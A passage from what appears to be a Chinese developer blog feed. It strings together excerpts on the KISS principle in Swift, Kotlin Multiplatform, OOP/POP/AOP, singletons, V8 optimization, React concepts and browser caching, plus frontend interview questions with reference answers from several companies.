 guard order.totalAmount > 0 else {
 return .failure(.invalidAmount)
 }

 return .success(Receipt())
}

4. 使用标准库而非自己实现

// 违反 KISS：自己实现数组去重
func removeDuplicatesManual<T: Hashable>(from array: [T]) -> [T] {
 var seen = Set<T>()
 var result = [T]()
 for element in array {
 if !seen.contains(element) {
 seen.insert(element)
 result.append(element)
 }
 }
 return result
}

// KISS：使用标准库
let uniqueArray = Array(Set(array))

// 或保持顺序
let uniqueOrderedArray = array.reduce(into: [T]()) { result, element in
 if !result.contains(element) {
 result.append(element)
 }
}

// 更简单：使用 Swift Algorithms
import Algorithms
let unique = array.uniqued()

5. 避免过度泛型化

// 违反 KISS：过度泛型，难以理解
protocol DataProviding {
 associatedtype DataType
 associatedtype ErrorType: Error
 func fetch() async throws -> DataType
}

protocol DataTransforming {
 associatedtype Input
 associatedtype Output
 func transform(_ input: Input) -> Output
}

class GenericDataLoader<
 Provider: DataProviding,
 Transformer: DataTransforming
> where Provider.DataType == Transformer.Input {
 // 复杂的泛型约束...
}

// KISS：简单直接的实现
class UserLoader {
 func loadUsers() async throws -> [User] {
 let data = try await APIClient.shared.fetch("/users")
 return try JSONDecoder().decode([User].self, from: data)
 }
}

// 当真正需要复用时，再考虑抽象

6. 简化 API 设计

// 违反 KISS：过多的配置选项
func createButton(
 title: String,
 titleColor: UIColor = .white,
 titleFont: UIFont = .systemFont(ofSize: 16),
 backgroundColor: UIColor = .blue,
 cornerRadius: CGFloat = 8,
 borderWidth: CGFloat = 0,
 borderColor: UIColor = .clear,
 shadowColor: UIColor = .black,
 shadowOffset: CGSize = .zero,
 shadowRadius: CGFloat = 0,
 shadowOpacity: Float = 0,
 contentInsets: UIEdgeInsets = .init(top: 12, left: 24, bottom: 12, right: 24),
 isEnabled: Bool = true,
 // ... 更多参数
) -> UIButton {
 // ...
}

// KISS：提供简单的默认实现和预设样式
enum ButtonStyle {
 case primary
 case secondary
 case destructive
 case text
}

func createButton(title: String, style: ButtonStyle = .primary) -> UIButton {
 let button = UIButton()
 button.setTitle(title, for: .normal)

 switch style {
 case .primary:
 button.backgroundColor = .systemBlue
 button.setTitleColor(.white, for: .normal)
 button.layer.cornerRadius = 8
 case .secondary:
 button.backgroundColor = .systemGray5
 button.setTitleColor(.systemBlue, for: .normal)
 button.layer.cornerRadius = 8
 case .destructive:
 button.backgroundColor = .systemRed
 button.setTitleColor(.white, for: .normal)
 button.layer.cornerRadius = 8
 case .text:
 button.backgroundColor = .clear
 button.setTitleColor(.systemBlue, for: .normal)
 }

 return button
}

// 使用简单
let primaryButton = createButton(title: "Submit")
let cancelButton = createButton(title: "Cancel", style: .secondary)

7. 选择合适的数据结构

// 违反 KISS：用复杂的数据结构解决简单问题
class UserStatusManager {
 private var statusTree: RedBlackTree<String, UserStatus>
 private var statusIndex: [String: TreeNode<String, UserStatus>]
 // 复杂的树结构来管理用户状态...
}

// KISS：简单的字典就够了
class SimpleUserStatusManager {
 private var userStatus: [String: UserStatus] = [:]

 func setStatus(_ status: UserStatus, for userId: String) {
 userStatus[userId] = status
 }

 func getStatus(for userId: String) -> UserStatus? {
 return userStatus[userId]
 }
}

如何平衡简单与功能

渐进式复杂度

遵循"简单开始，按需增长"的原则：

KMP（Kotlin Multiplatform）详解

Sat, 02 May 2026 22:32:27 +0800

KMP（Kotlin Multiplatform）是 JetBrains 推出的跨平台代码共享方案。它与 Flutter、React Native 的"一套代码一套 UI"思路不同，走的是"业务逻辑共享，UI 原生“的路线：Kotlin 写的网络、数据库、ViewModel、业务规则等代码编译成 iOS/Android/HarmonyOS/Web 可直接使用的二进制产物，而 UI 仍然由各平台原生框架（SwiftUI/UIKit、Jetpack Compose、ArkUI、DOM/Compose Web）自己实现。2023 年 11 月 KMP 正式 Stable；2024 年 6 月华为开发者大会（HDC 2024）上 JetBrains 与华为合作宣布 Kotlin 原生支持 HarmonyOS NEXT，KMP 正式扩展到"Android + iOS + 鸿蒙 + Web"的四端矩阵；随后 Compose Multiplatform for iOS 经历 Alpha → Beta 演进，使得"连 UI 也可以一起共享"成为可选项。

对 iOS 开发者而言，KMP 的意义在于：Android/鸿蒙同事写的 Kotlin 代码你可以像 Swift 一样调用，而代价只是多一个 XCFramework 和一点桥接代码。本文从架构开始，一路讲到编译原理、内存模型、iOS/鸿蒙互操作细节与工程最佳实践。

一、KMP 是什么

1.1 一句话定义

KMP 是 Kotlin 官方的跨平台编译工具链，允许你用 Kotlin 写一份"业务逻辑"代码，编译到多个目标平台：

OOP、POP与AOP

Sat, 02 May 2026 22:32:27 +0800

在iOS开发中，经常会接触到三种重要的编程范式：面向对象编程（OOP）、面向协议编程（POP）和面向切面编程（AOP）。

OOP - 面向对象编程

基本概念

面向对象编程（Object-Oriented Programming）是一种以对象为核心的编程范式。它将数据和操作数据的方法封装在一起，形成对象。

OOP的四大核心特性：

特性	说明	iOS中的体现
封装	隐藏内部实现细节，只暴露必要的接口	`@interface`/`@implementation`分离，`private`属性
继承	子类继承父类的属性和方法	`UIViewController`继承自`UIResponder`
多态	同一接口可以有不同的实现	子类重写父类方法
抽象	提取共同特征形成抽象类型	抽象基类、协议

Objective-C中的OOP

Objective-C是一门典型的面向对象语言，它在C语言的基础上添加了面向对象的特性。

// 基类定义
@interface Animal : NSObject

@property (nonatomic, copy) NSString *name;

- (void)speak;
- (void)eat:(NSString *)food;

@end

@implementation Animal

- (void)speak {
 NSLog(@"Animal speaks");
}

- (void)eat:(NSString *)food {
 NSLog(@"%@ is eating %@", self.name, food);
}

@end

// 子类继承
@interface Dog : Animal

@property (nonatomic, copy) NSString *breed;

@end

@implementation Dog

// 重写父类方法 - 多态
- (void)speak {
 NSLog(@"%@ barks: Woof!", self.name);
}

// 子类特有方法
- (void)fetch {
 NSLog(@"%@ is fetching", self.name);
}

@end

Swift中的OOP

Swift同样支持面向对象编程，但提供了更现代的语法和更强的类型安全。

单例模式

Sat, 02 May 2026 22:32:27 +0800

定义

单例模式（Singleton Pattern）是一种创建型设计模式，它确保一个类只有一个实例，并提供一个全局访问点来获取该实例。

单例模式的核心要点：

唯一性：整个应用程序生命周期内只存在一个实例
全局访问：提供一个全局访问点获取该实例
懒加载：通常在第一次使用时才创建实例

为什么需要单例模式

单例模式要解决的核心问题是：确保某个类在整个应用中只有一个实例，并提供全局访问点。

问题场景：假设我们正在开发一个App，需要管理用户的登录状态和用户信息。

如果不使用单例，可能会遇到这样的问题：

class UserManager {
 var currentUser: User?
 var isLoggedIn: Bool = false

 func login(user: User) {
 currentUser = user
 isLoggedIn = true
 }
}

// 在登录页面
let userManager1 = UserManager()
userManager1.login(user: user)

// 在个人中心页面
let userManager2 = UserManager()
print(userManager2.isLoggedIn) // false！因为是不同的实例

这种方式有什么问题？

状态不一致：不同地方创建的UserManager是不同的实例，它们的状态相互独立，导致登录状态无法共享
资源浪费：如果UserManager管理的是数据库连接、网络会话等资源，创建多个实例会浪费系统资源
数据同步困难：多个实例之间的数据需要手动同步，容易出错

单例模式的解决思路：

单例模式确保整个应用只有一个UserManager实例，所有地方都访问同一个对象：

class UserManager {
 static let shared = UserManager()

 private init() {}

 var currentUser: User?
 var isLoggedIn: Bool = false

 func login(user: User) {
 currentUser = user
 isLoggedIn = true
 }
}

// 在登录页面
UserManager.shared.login(user: user)

// 在个人中心页面
print(UserManager.shared.isLoggedIn) // true！同一个实例

适合使用单例的场景：

小红书-社招-5年 · 第 2 轮 · 技术面试

Sun, 01 Feb 2026 14:42:25 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

本轮概述： 该轮面试主要考察了浏览器的工作原理、缓存策略、跨域、Vue生命周期、组件通信等方面的知识。题目涉及理论知识和实际应用场景。

本轮共 14 道题。答案默认折叠，便于先自行作答。

1. 详细讲一下从url输入网址到页面渲染的过程

题库原题：简单描述从输入网址到页面显示的过程

题目要点

当输入URL到页面加载完成，发生了以下几个关键过程：

DNS解析：浏览器将URL解析为对应的IP地址。这个过程涉及多级DNS服务器，从本地缓存开始，如果没有找到，则递归查询根域名服务器、顶级域名服务器，直到找到目标服务器的IP地址。
TCP连接：浏览器通过三次握手与服务器建立TCP连接。一旦连接建立，浏览器可以发送HTTP请求。
HTTP请求：浏览器构建HTTP请求报文，通过TCP连接发送到服务器。请求报文包含请求行、请求头和请求正文。
服务器处理请求：服务器接收HTTP请求，解析请求内容，执行相应的处理（如数据库查询、文件读取等），并构建HTTP响应报文。
HTTP响应：服务器将响应报文通过TCP连接发送回浏览器。响应报文包含状态码、响应头和响应正文。
浏览器解析渲染：浏览器接收到HTTP响应后，解析HTML文档构建DOM树，解析CSS构建CSSOM树，合并两者形成渲染树，然后开始渲染页面。
连接结束：当浏览器完成页面渲染或收到服务器关闭连接的信号时，浏览器会发送TCP连接关闭的信号，服务器收到后，双方断开连接。

参考答案

很多大公司面试喜欢问这样一道面试题，输入URL到看见页面发生了什么？

简单来说，共有以下几个过程：

DNS解析
发起TCP连接
发送HTTP请求
服务器处理请求并返回HTTP报文
浏览器解析渲染页面
连接结束

下面我们来看看具体的细节。

DNS解析

DNS解析实际上就是寻找你所需要的资源的过程。假设你输入www.baidu.com，而这个网址并不是百度的真实地址，互联网中每一台机器都有唯一标识的IP地址，这个才是关键，但是它不好记，乱七八糟一串数字谁记得住啊，所以就需要一个网址和IP地址的转换，也就是DNS解析。

DNS解析其实是一个递归的过程。

输入www.google.com网址后，首先在本地的域名服务器中查找，没找到去根域名服务器查找，没有再去com顶级域名服务器查找，，如此的类推下去，直到找到IP地址，然后把它记录在本地，供下次使用。大致过程就是.-> .com ->google.com. -> www.google.com.。 (最后这个.对应的就是根域名服务器，默认情况下所有的网址的最后一位都是.，为了方便用户，通常都会省略，浏览器在请求DNS的时候会自动加上)

DNS优化

既然已经懂得了解析的具体过程，我们可以看到上述一共经过了N个过程，每个过程有一定的消耗和时间的等待，因此我们得想办法解决一下这个问题！

DNS缓存

DNS存在着多级缓存，从离浏览器的距离排序的话，有以下几种: 浏览器缓存，系统缓存，路由器缓存，ISP服务器缓存，根域名服务器缓存，顶级域名服务器缓存，主域名服务器缓存。

DNS负载均衡

比如访问baidu.com的时候，每次响应的并非是同一个服务器（IP地址不同），一般大公司都有成百上千台服务器来支撑访问。DNS可以返回一个合适的机器的IP给用户，例如可以根据每台机器的负载量，该机器离用户地理位置的距离等等，这种过程就是DNS负载均衡。

发起TCP连接

TCP提供一种可靠的传输，这个过程涉及到三次握手，四次挥手。

三次握手

第一次握手：

客户端发送syn包(Seq=x)到服务器，并进入SYN_SEND状态，等待服务器确认；

第二次握手：

服务器收到syn包，必须确认客户的SYN（ack=x+1），同时自己也发送一个SYN包（Seq=y），即SYN+ACK包，此时服务器进入SYN_RECV状态；

第三次握手：

客户端收到服务器的SYN＋ACK包，向服务器发送确认包ACK(ack=y+1)，此包发送完毕，客户端和服务器进入ESTABLISHED状态，完成三次握手。

握手过程中传送的包里不包含数据，三次握手完毕后，客户端与服务器才正式开始传送数据。理想状态下，TCP连接一旦建立，在通信双方中的任何一方主动关闭连接之前，TCP 连接都将被一直保持下去。

四次挥手

数据传输完毕后，双方都可释放连接。最开始的时候，客户端和服务器都是处于ESTABLISHED状态，假设客户端主动关闭，服务器被动关闭。

第一次挥手：

客户端发送一个FIN，用来关闭客户端到服务器的数据传送，也就是客户端告诉服务器：我已经不会再给你发数据了(当然，在fin包之前发送出去的数据，如果没有收到对应的ack确认报文，客户端依然会重发这些数据)，但是，此时客户端还可以接受数据。

FIN=1，其序列号为seq=u（等于前面已经传送过来的数据的最后一个字节的序号加1），此时，客户端进入FIN-WAIT-1（终止等待1）状态。 TCP规定，FIN报文段即使不携带数据，也要消耗一个序号。

第二次挥手：

服务器收到FIN包后，发送一个ACK给对方并且带上自己的序列号seq，确认序号为收到序号+1（与SYN相同，一个FIN占用一个序号）。此时，服务端就进入了CLOSE-WAIT（关闭等待）状态。TCP服务器通知高层的应用进程，客户端向服务器的方向就释放了，这时候处于半关闭状态，即客户端已经没有数据要发送了，但是服务器若发送数据，客户端依然要接受。这个状态还要持续一段时间，也就是整个CLOSE-WAIT状态持续的时间。

小红书-社招-3年 · 第 2 轮 · 技术面试

Sun, 01 Feb 2026 14:42:08 +0000

← 第 1 轮 · 返回本次面经 · 第 3 轮 →

本轮概述： 这一轮主要考察了小程序的性能优化、核心监控指标、首屏时间的计算、业务价值验证、高频事件处理等方面的知识。

本轮共 11 道题。答案默认折叠，便于先自行作答。

1. 小程序性能优化做了哪些事情？

题库原题：小程序可以做哪些性能优化？

题目要点

小程序性能优化围绕逻辑层与视图层分离架构展开，重点是减少 setData 频率与数据体积，控制列表节点数量，优化首包体积与启动链路，并通过分包加载、WXS 与懒加载等手段降低渲染压力。核心原则是减少跨线程通信与避免无意义重渲染，从架构层面解决性能瓶颈。

参考答案

小程序的性能优化，不能只从“前端渲染”角度看。它的运行模型和 Web 不同，存在 逻辑层（JSCore）与视图层（WebView）分离 的架构特征，核心瓶颈往往出在：

跨线程通信成本
setData 传输体积
渲染节点数量
包体与启动链路

优化必须围绕这些机制展开。

一、理解运行架构是前提

以微信小程序为例：

逻辑层：JS 执行环境
视图层：WebView 渲染
两层通过 JSON 序列化通信

每一次 setData：

数据序列化
线程间传输
视图层 diff
真实节点更新

所以小程序性能优化的第一原则是：

减少跨线程通信的数据量与次数。

二、控制 setData 的粒度与频率

1. 避免大对象全量更新

错误方式：

this.setData({
 form: newFormObject
})

如果 form 很大，每次都会整体传输。

正确方式：

this.setData({
 "form.username": value
})

使用路径更新，最小化数据传输。

2. 合并多次 setData

多次调用：

小红书-社招-1年 · 第 2 轮 · 技术面试

Sun, 01 Feb 2026 14:40:35 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

本轮概述： 这一轮主要考察了项目经验和技术选型，包括Vue3+TS的选择理由、UI框架的优势、TypeScript的应用、组件化方案、Canvas离屏渲染、Service Worker等内容。

本轮共 14 道题。答案默认折叠，便于先自行作答。

1. 讲一下你觉的最有成就感的项目

题目要点

实际问题, 创新性, 用户价值, 项目背景, 技术选型, 实现过程, 最终效果, 亮点, 贡献

参考答案

最有成就感的项目通常是那些能够解决实际问题、具有创新性并且对用户有显著价值的项目。在回答这个问题时，可以从项目的背景、目标、技术选型、实现过程以及最终效果等方面进行详细描述。重点突出项目的亮点和自己在其中的贡献。

2. 项目为什么选择Vue3+TS而非React

题目要点

Vue3 + TypeScript 的选择通常基于团队技术栈一致性、Composition API 带来的逻辑复用能力、与 TypeScript 的良好类型推导，以及在中后台场景中更成熟的生态和更低的工程复杂度，从而提升整体开发效率与可维护性。

参考答案

在技术选型阶段通常会综合考虑团队技术栈、项目复杂度以及开发效率等因素。对于以中后台系统或业务管理平台为主的项目，Vue3 在整体开发体验和约束能力上往往更容易形成统一规范。

首先是框架设计层面的差异。Vue3 通过 Composition API 将逻辑拆分为可组合的函数单元，在复杂业务场景下可以很好地解决 Options API 中逻辑分散的问题，同时又保留了模板语法，使得结构、逻辑、样式之间的职责划分更加清晰。对于需要长期维护的业务项目，这种组织方式通常更容易理解和维护。

其次是 TypeScript 的结合程度。Vue3 在框架层面对 TypeScript 做了较深的适配，例如 defineComponent、setup、ref、reactive 等 API 都有较完整的类型推导能力，配合 <script setup> 可以获得较好的类型提示和开发体验。在大型项目中，类型系统能够帮助提前暴露接口契约问题，提高代码的可维护性。

另外在生态与工程效率方面，Vue3 在国内中后台领域的组件生态较成熟，例如组件库、低代码平台以及相关工具链都比较完善，能够快速搭建业务系统。对于团队成员技术背景主要偏 Vue 的情况下，可以降低学习成本和沟通成本，提高整体开发效率。

从工程复杂度角度看，React 在灵活性上更强，但很多能力需要通过生态组合实现，例如状态管理、表单方案等，需要额外制定规范。Vue3 本身提供了较完整的开发范式，在团队规模较大的情况下更容易形成统一的代码风格。

3. NutUI在营销活动中相比其他UI框架有什么优势

题目要点

移动端, 轻量, 高性能, 易于使用, 组件库, 用户体验, 开发效率, 按需加载, 应用体积

字节-技术中台-校招 · 第 2 轮 · 二面

Tue, 02 Sep 2025 07:35:12 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

本轮要点： 本次面试主要考察小程序、前端基础及算法等方面的知识。

本轮共 17 道题。答案默认折叠，便于先自行作答。

1. 讲一下你的小程序项目

题目要点

这是一个典型的主观型问题，没有唯一的标准答案。面试官主要考察候选人的项目经验、技术选型能力、问题解决能力以及对小程序生态的整体理解。
答题时建议围绕项目背景、个人职责、技术挑战与解决方案、项目成果与思考等方面展开，体现出系统性和条理性。

参考答案

在我的某某项目中，我主要负责开发一个基于微信小程序的某某功能模块，比如一个校园服务小程序，其中我负责了课程表、成绩查询以及校园活动发布的功能。

项目启动之初，我们对需求进行了详细的分析。我选择了小程序作为技术栈，主要是考虑到其轻量级、无需下载安装的特性，能够快速触达用户，并且微信生态提供了丰富的API支持，例如微信支付、地理位置等，非常适合我们校园服务的场景。在技术选型上，我们使用了原生小程序开发模式，结合了小程序自定义组件的能力，将课程表、活动列表等通用UI和逻辑封装成可复用组件，大大提高了开发效率和代码的可维护性。

在开发过程中，我遇到了一些挑战。例如，课程表数据的展示，由于涉及到大量的时间和格子计算，以及复杂的状态管理，我采用了组件化的方式来解耦视图和逻辑。为了避免频繁调用setData导致性能问题，我仔细规划了数据结构，并通过局部更新和事件代理的方式，将数据更新的粒度控制到最小，确保了界面的流畅性。此外，在处理校园活动图片上传和展示时，也遇到了图片内存飙升的问题，我通过启用lazy-load属性，并对图片进行后端压缩和CDN分发，有效解决了内存占用过高的问题，提升了用户体验。在保证安全性的前提下，对于用户敏感信息，我们严格遵循小程序的加密存储和传输规范。

项目上线后，用户反馈良好，尤其是加载速度快、操作流畅得到了肯定。通过这个项目，我不仅深化了对小程序双线程架构、生命周期、组件化等核心概念的理解，也锻炼了我在实际项目中解决复杂性能问题的能力。同时，也让我认识到在项目开发中，前期的技术选型、架构设计以及对潜在性能瓶颈的预判都是至关重要的。

2. 小程序的架构组成

题目要点

宿主环境: 了解小程序运行的载体，如微信、支付宝等App提供的运行环境。
双线程模型: 掌握小程序的逻辑层和视图层分离，通过异步通信机制进行数据交换。
组件系统: 熟悉小程序内置组件和自定义组件的构成。
数据层: 理解小程序数据管理和更新机制。
小程序生命周期: 熟悉小程序应用和页面的生命周期函数。

参考答案

1.1 原理说明

宿主环境: 小程序运行在一个特定的宿主环境中，这个环境由微信、支付宝等App提供。它为小程序提供了运行所需的API、渲染能力、文件系统等。
双线程模型: 小程序采用双线程模型，即逻辑层和视图层分别运行在不同的线程中。
- 逻辑层: 运行在JSCore（或V8引擎）中，负责处理业务逻辑、数据请求、数据处理等，使用JavaScript编写。它不直接操作DOM。
- 视图层: 负责渲染页面，使用WebView（或独立的渲染引擎）渲染WXML和WXSS。
通信机制: 逻辑层和视图层之间通过Native层进行异步通信。视图层将用户操作（如点击、输入）传递给逻辑层，逻辑层处理后将数据变化通知视图层进行更新。
组件系统: 小程序提供了一套丰富的基础组件，如view、text、image等，开发者也可以基于这些基础组件创建自定义组件，实现模块化开发。
数据层: 小程序的数据管理主要通过Page.prototype.data和this.setData进行。数据变化后，通过双线程通信机制同步到视图层，触发视图更新。 1.2 核心用法 + 示例代码
在小程序中，开发者主要通过JavaScript编写逻辑层代码，WXML构建页面结构，WXSS定义页面样式。
app.js 定义小程序的全局逻辑，app.json 进行全局配置，app.wxss 定义全局样式。
每个页面由 .js（逻辑）、.json（配置）、.wxml（结构）、.wxss（样式）组成。
示例：页面数据更新

// page.js
Page({
 data: {
 message: 'Hello Mini Program!'
 },
 onLoad: function() {
 setTimeout(() => {
 this.setData({
 message: 'Data Updated!'
 });
 }, 2000);
 }
});

这种架构分离了业务逻辑和页面渲染，提高了性能和安全性，也方便平台对小程序进行管控。 1.3 常见误区或面试陷阱
误区: 认为小程序是基于浏览器内核直接运行的H5页面。实际上，小程序运行在独立的宿主环境，有其特定的渲染机制和API。
误区: 将双线程通信理解为同步通信。实际上是异步通信，需要注意数据同步的时序问题。
陷阱: 不清楚小程序无法直接操作DOM的原因，本质上是为了安全和性能考量，避免开发者直接对渲染层进行复杂操作，影响性能和用户体验。

3. 小程序和 H5 在开发和使用上有哪些主要的区别和优势？

题目要点

运行环境: 区分小程序和H5的运行载体和能力限制。
开发模式: 掌握两种技术栈的开发流程和工具链。
性能: 对比加载速度、运行流畅度等方面的差异。
功能和权限: 了解各自能调用的系统能力和接口。
用户体验: 分析用户感知到的流畅性、便捷性。
分发和推广: 比较获取用户、传播的难易程度。

参考答案

1.1 原理说明

字节跳动-商业化-校招 · 第 2 轮 · 二面

Tue, 02 Sep 2025 07:31:02 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

本轮要点： 本次面试主要考察前端基础（CSS布局、JavaScript原型链）、React框架深入理解（虚拟DOM、性能优化）、设计模式应用以及算法能力。

本轮共 13 道题。答案默认折叠，便于先自行作答。

1. 实现一个三栏布局，左右两侧固定宽度，中间区域自适应

题目要点

面试官出这道题主要想确认哪些知识维度？
- 考生对CSS布局（如Flexbox, Grid, 浮动, 定位, 表格布局等）的掌握程度。
- 考生如何处理不同元素之间的空间分配和自适应能力。
该题所考知识点中有哪些高频实际应用点？
- 页面整体布局，如经典后台管理系统布局（侧边栏固定，内容区自适应）。
- 组件内部布局，如卡片、列表项中固定图标/按钮，内容区域自适应。

参考答案

1.1 原理说明 三栏布局是一种常见的网页布局方式，其核心在于实现左右两边固定宽度，中间内容区域根据可用空间自适应。这要求布局方案能够灵活处理流体宽度和固定宽度元素的共存，并且能够正确处理元素之间的堆叠和清除浮动等问题。不同的CSS布局技术提供了不同的实现原理和特性，选择合适的方案取决于兼容性要求、布局复杂度和维护成本。

1.2 核心用法 + 示例代码 以下是几种实现三栏布局的常见方法，并说明其原理和适用场景：

1.2.1 Flexbox 布局

原理： Flexbox (弹性盒子) 是一种一维布局模式，它在父容器中管理子项的分布和对齐。通过设置主轴和交叉轴，可以非常灵活地控制子元素的排列。
使用场景： 现代浏览器环境下的首选布局方式，适用于需要灵活对齐、空间分配的场景。

示例代码：

<div class="container-flex">
 <div class="left">Left</div>
 <div class="center">Center</div>
 <div class="right">Right</div>
</div>

.container-flex {
 display: flex; /* 开启Flex布局 */
}
.left, .right {
 width: 200px; /* 左右固定宽度 */
 flex-shrink: 0; /* 防止收缩 */
}
.center {
 flex-grow: 1; /* 中间区域自适应，占据剩余空间 */
}

优势： 代码简洁，语义化好，对齐和分配空间非常方便。

1.2.2 Grid 布局

京东-物流-秋招 · 第 2 轮 · 第二轮

Sun, 27 Jul 2025 15:48:27 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

面试时间： 60分钟

本轮共 16 道题。答案默认折叠，便于先自行作答。

题目要点

性能优化、交互反馈改进、错误处理优化、移动端适配、基于反馈的持续改进。

参考答案

好的前端体验应该是用户感知不到技术存在的体验。首先是性能方面，页面加载要快，交互要流畅，用户不应该感受到明显的等待时间。这需要做好资源优化、懒加载、缓存策略等。

界面设计要直观易懂，用户能够快速找到需要的功能，操作流程要符合用户习惯。响应式设计也很重要，在不同设备上都能提供良好的体验。

交互反馈要及时准确。用户的每个操作都应该有明确的反馈，比如按钮点击效果、加载状态提示、操作结果通知等。错误处理要友好，当出现问题时，要给用户清晰的错误信息和解决建议。

可访问性也是好体验的重要组成部分。要考虑到不同能力用户的需求，比如键盘导航、屏幕阅读器支持等。

最后是要保持一致性，整个应用的交互模式、视觉风格、信息架构都要保持统一，让用户形成稳定的使用预期。

6. 平时怎么学习前端的？

题目要点

系统性学习、实践项目、阅读源码、关注社区、记录总结、保持好奇心。

参考答案

学习前端主要通过几个渠道。首先是系统性学习，通过在线课程平台如慕课网、极客时间等学习完整的技术体系。看技术书籍也很重要，比如《JavaScript高级程序设计》、《CSS权威指南》等经典书籍能够建立扎实的基础。

实践是最重要的学习方式。会跟着教程做一些小项目，然后尝试改进和扩展功能。GitHub上有很多优秀的开源项目，通过阅读源码能够学到很多最佳实践。

技术社区是获取最新信息的重要渠道。经常浏览掘金、思否、MDN等网站，关注前端技术的发展趋势。参加一些技术分享会和线上讲座，能够了解行业动态和实际应用经验。

建立了自己的学习笔记系统，将学到的知识点整理成文档，定期回顾和总结。还会写一些技术博客，通过输出来加深理解。

保持好奇心很重要，看到新技术会主动去了解和尝试。比如最近学习了WebAssembly、微前端等新技术，虽然可能暂时用不到，但能够拓宽技术视野。

7. 最近了解到的新技术讲一下

题目要点

WebAssembly提供高性能计算能力，微前端解决大型应用架构问题，新CSS特性增强布局能力。

V8 引擎的优化机制

Tue, 17 Dec 2024 00:00:00 +0800

V8 是 Google 开发的 JavaScript 引擎（用于 Chrome、Node.js 等），它的核心优化机制可以总结为：即时编译（JIT） + 隐式类型优化 + 内联缓存 + 垃圾回收机制，通过这些方式来大幅提升 JS 的执行性能。

一、V8 的执行流程

V8 不直接解释执行 JavaScript，而是：

解析（Parser）：将 JS 源码解析为 AST（抽象语法树）
生成字节码（Bytecode）：由 Ignition 引擎生成并执行初始字节码
收集类型信息（Profiler）：运行时收集变量类型、函数调用等信息
优化编译（JIT）：将热点代码交给 TurboFan 引擎编译为高效的机器码

二、核心优化机制

1. 隐藏类（Hidden Class）与内联缓存（Inline Cache）

为了优化对象属性访问，V8 引入了隐藏类机制，类似 C++ 中的类结构：

初次创建对象时，生成一个隐藏类（HiddenClass）
添加属性时会生成新的隐藏类链表结构
相同结构的对象共享隐藏类，从而使访问更快

不要动态给对象添加属性，尽量保持对象结构稳定。

内联缓存：缓存某个属性的访问位置，使得后续同样结构的对象访问不必重新查找。

function Person(name) {
 this.name = name;
}
const p1 = new Person("Tom");
const p2 = new Person("Jerry");
// 内联缓存会优化 this.name 的访问路径

2. 类型反馈与优化编译（Type Feedback + JIT）

V8 在执行字节码时会收集类型信息（比如函数参数、返回值的类型），并标记频繁调用的代码为“热点代码”：

热点代码会被交给 TurboFan 做优化编译
编译时使用收集到的类型信息来生成专用的机器码（类型特化）

例如：

function add(a, b) {
 return a + b;
}
add(1, 2); // 优化为整数加法
add("a", "b"); // 类型变化 -> 去优化

不要在同一个函数中混用不同类型，可能导致优化失败或退化。

元素、组件、实例和节点

Tue, 17 Dec 2024 00:00:00 +0800

React 中的元素、组件、实例和节点，是React中关系密切的4个概念，也是很容易让React 初学者迷惑的4个概念。现在，老干部就来详细地介绍这4个概念，以及它们之间的联系和区别，满足喜欢咬文嚼字、刨根问底的同学（老干部就是其中一员）的好奇心。

元素 (Element)

React 元素其实就是一个简单JavaScript对象，一个React 元素和界面上的一部分DOM对应，描述了这部分DOM的结构及渲染效果。一般我们通过JSX语法创建React 元素，例如：

const element = <h1 className='greeting'>Hello, world</h1>;

element是一个React 元素。在编译环节，JSX 语法会被编译成对React.createElement()的调用，从这个函数名上也可以看出，JSX语法返回的是一个React 元素。上面的例子编译后的结果为：

const element = React.createElement(
 'h1',
 {className: 'greeting'},
 'Hello, world!'
);

最终，element的值是类似下面的一个简单JavaScript对象：

const element = {
 type: 'h1',
 props: {
 className: 'greeting',
 children: 'Hello, world'
 }
}

React 元素可以分为两类：DOM类型的元素和组件类型的元素。DOM类型的元素使用像h1、div、p等DOM节点创建React 元素，前面的例子就是一个DOM类型的元素；组件类型的元素使用React 组件创建React 元素，例如：

const buttonElement = <Button color='red'>OK</Button>;

buttonElement就是一个组件类型的元素，它的值是：

const buttonElement = {
 type: 'Button',
 props: {
 color: 'red',
 children: 'OK'
 }
}

对于DOM类型的元素，因为和页面的DOM节点直接对应，所以React知道如何进行渲染。但是对于组件类型的元素，如buttonElement，React是无法直接知道应该把buttonElement渲染成哪种结构的页面DOM，这时就需要组件自身提供React能够识别的DOM节点信息，具体实现方式在介绍组件时会详细介绍。

有了React 元素，我们应该如何使用它呢？其实，绝大多数情况下，我们都不会直接使用React 元素，React 内部会自动根据React 元素，渲染出最终的页面DOM。更确切地说，React元素描述的是React虚拟DOM的结构，React会根据虚拟DOM渲染出页面的真实DOM。

组件 (Component)

React 组件，应该是大家最熟悉的React中的概念。React通过组件的思想，将界面拆分成一个个可以复用的模块，每一个模块就是一个React 组件。一个React 应用由若干组件组合而成，一个复杂组件也可以由若干简单组件组合而成。

React组件和React元素关系密切，React组件最核心的作用是返回React元素。这里你也许会有疑问：React元素不应该是由React.createElement() 返回的吗？但React.createElement()的调用本身也是需要有“人”负责的，React组件正是这个“责任人”。React组件负责调用React.createElement()，返回React元素，供React内部将其渲染成最终的页面DOM。

既然组件的核心作用是返回React元素，那么最简单的组件就是一个返回React元素的函数：

function Welcome(props) {
 return <h1>Hello, {props.name}</h1>;
}

Welcome是一个用函数定义的组件。如果使用类（class）定义组件，返回React元素的工作具体就由组件的render方法承担，例如：

浏览器的缓存机制

Tue, 17 Dec 2024 00:00:00 +0800

一、前言

缓存可以说是性能优化中简单高效的一种优化方式了。一个优秀的缓存策略可以缩短网页请求资源的距离，减少延迟，并且由于缓存文件可以重复利用，还可以减少带宽，降低网络负荷。

对于一个数据请求来说，可以分为发起网络请求、后端处理、浏览器响应三个步骤。浏览器缓存可以帮助我们在第一和第三步骤中优化性能。比如说直接使用缓存而不发起请求，或者发起了请求但后端存储的数据和前端一致，那么就没有必要再将数据回传回来，这样就减少了响应数据。

接下来的内容中我们将通过缓存位置、缓存策略以及实际场景应用缓存策略来探讨浏览器缓存机制。

如需获取思维导图或想阅读更多优质文章请猛戳GitHub博客

二、缓存位置

从缓存位置上来说分为四种，并且各自有优先级，当依次查找缓存且都没有命中的时候，才会去请求网络。

Service Worker
Memory Cache
Disk Cache
Push Cache

1.Service Worker

